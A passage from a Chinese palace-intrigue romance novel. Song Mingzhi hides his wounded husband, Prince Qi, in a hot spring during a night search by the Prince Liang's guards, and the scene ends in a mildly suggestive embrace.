大皇子自然没本事识破齐王的计划。 他这一回,八成只是想借这个机会,搜查一下齐王府邸。无论能不能找到有价值的东西,慕思安都能借此机会,膈应一下齐王。 宋明稚:“……!” 这回不会被他瞎猫撞上死耗子了吧? 簇簇火把照得王府夜如白昼。 此地不宜久留—— 宋明稚迅速屏息凝神,朝酌花院而去。 忙乱中他听到,慕思安手下的禁军,走进了徽鸣堂之中。几息后,那禁军突然冲出了门,高声道:“启禀殿下,齐王他不在徽鸣堂!” …… 上百名禁军入府。 并随慕思安一道,搅乱了此处。 齐王府内人心惶惶。 唯独酌花院里面,寂若无人。 宋明稚没有点灯。 此时,他正独自站在院门边,耐心听着王府里面的动静。 雾气晕开了满院月光,融进了他的眼底。宋明稚的睫毛,不禁轻轻地颤了一下。 今天晚上,崇京戒严。 坊市关门、百姓归家,无论是谁,都不能在街道上自由活动。 俗话说……王子犯法与庶民同罪。齐王不在府中,原本就说不过去。更别说那昏君一向防备着他,此事若传到御前,恐怕会生出不小的波澜。 酌花院外,喧闹声越来越大。 慕思安带人搜完了徽鸣堂后,竟又率领禁军,来到了酌花院外—— 此时,他正在不远处,得意扬扬道: “我听人说……” “三弟似乎很喜欢他这个王妃。” “你们说,他今晚不在徽鸣堂,该不会是在王妃这里吧?” 情况不妙。 宋明稚轻抵在门扇上的手指,因为用力,而微微地泛起了白。 他犹豫片刻,决定退回屋内。 然而,就在倏忽之间: 宋明稚正欲转身,耳畔竟忽地生出“砰”一阵轻响。 酌花院的门突然敞了开来—— 夜风穿过院门,卷起了一地的落花。 来人一袭青衫,隐没月色,衣襟不知何时染血,落下斑斑红痕,如桃花纷纷扬扬,倾洒肩头。 他锁骨畔的箭伤还在渗着血珠。 纵是眉目含笑,天生一副薄情风.流相,仍不掩满身凛冽杀气。 宋明稚的心沉沉坠地。 他下意识合起了院门,警惕地看向院门:“……殿下?” 慕厌舟如初见那日般,将手指抵在唇边:“嘘。” 禁军已经来到了院外。 火光透过院门的缝隙,照了进来。 眨眼之间,慕厌舟已经脱下了他身上那件血衣。 并以一股不容抗拒的力量,钳住宋明稚的手腕,拥着他一道,倒向了树下的温泉。 “哗——” 世界骤然翻转,泉水漫了上来。 两人的气息蓦地纠缠在了一起。 “!!!” 纯金的臂环,被水流带到了手畔。 玉色的衣袍,在刹那间变得凌乱,宋明稚的身体也如被电到般,重重地颤了一下。 酌花院大门外。 元九正最后一搏道:“王妃虽是男子,但是怎么说也是殿下的弟媳,弟媳的房中怎能…能随意进去呢?还望梁王殿下三思啊!” 他想借这个理由拦下慕思安。 等到明天一早,再一口咬定,齐王今晚就在酌花院。 但慕思安并不是讲礼法的人。 “倘若凶犯匿藏于酌花院中,伤到了三弟,这个责任究竟谁能承担?”慕思安一边说,一边步步逼近,“还是说……三弟他今晚压根就不在此处?” 接着,立刻有人搭腔道:“今晚府内人声嘈杂,齐王殿下就算真的在酌花院里,也该听到,且有所反应了吧?” 慕思安轻蔑地笑了一声。 话音落下,便绕过元九,势在必行道:“都给本王搜!” 禁军随即领命:“——是,殿下!” 说着,便朝着院门处而来。 酌花院内。 水花飞溅,热气氤氲。 慕厌舟缓缓垂下了眼眸。 月光下…… 宋明稚的皮肤细若白瓷,唯独手腕上慢慢多出了一抹暧.昧的红痕。此时,他正屏息望向院门,纤长的脖颈则苍白裸露于自己眼底,随着呼吸的节奏轻轻颤抖。 似乎在诱.惑人,将他扼于指间。 慕厌舟的视线舔过宋明稚脖颈。 末了,徐徐抬起手来…… 一切皆在刹那之间。 酌花院外,灯火通明。 大皇子已派禁军上前,撞向院门。 没有时间再纠结。 宋明稚狠狠咬牙,蓦地转过身去:“殿下!” 眼下事态紧急,自己必须证明殿下今夜一直在府内。 慕厌舟的手指轻轻地晃了一下,他顺势将一缕长发,撩到了宋明稚的耳后:“怎么?” 宋明稚深吸一口气:“放心,我懂。” 危难当前…… 不就是打个掩护吗? 大家都是男子,没什么大不了。 宋明稚果断抬起手臂,主动攀上慕厌舟的脖颈,遮起他身前的箭伤,同时悄声道,“我可以替您做证……”继而抬眸,看向他的眼底:“殿下今夜就在酌花院内,除此之外,哪里都没有去过。” 月光荡开了慕厌舟眼底的笑意。 他倏地用力,一手覆便住宋明稚的腰背,懒声道:“不够。” ……不够? 未等宋明稚理解他的意思。 慕厌舟已抬手,剥下了他肩上的那片衣袍。 末了,于他耳畔,低声道:“唐突了。”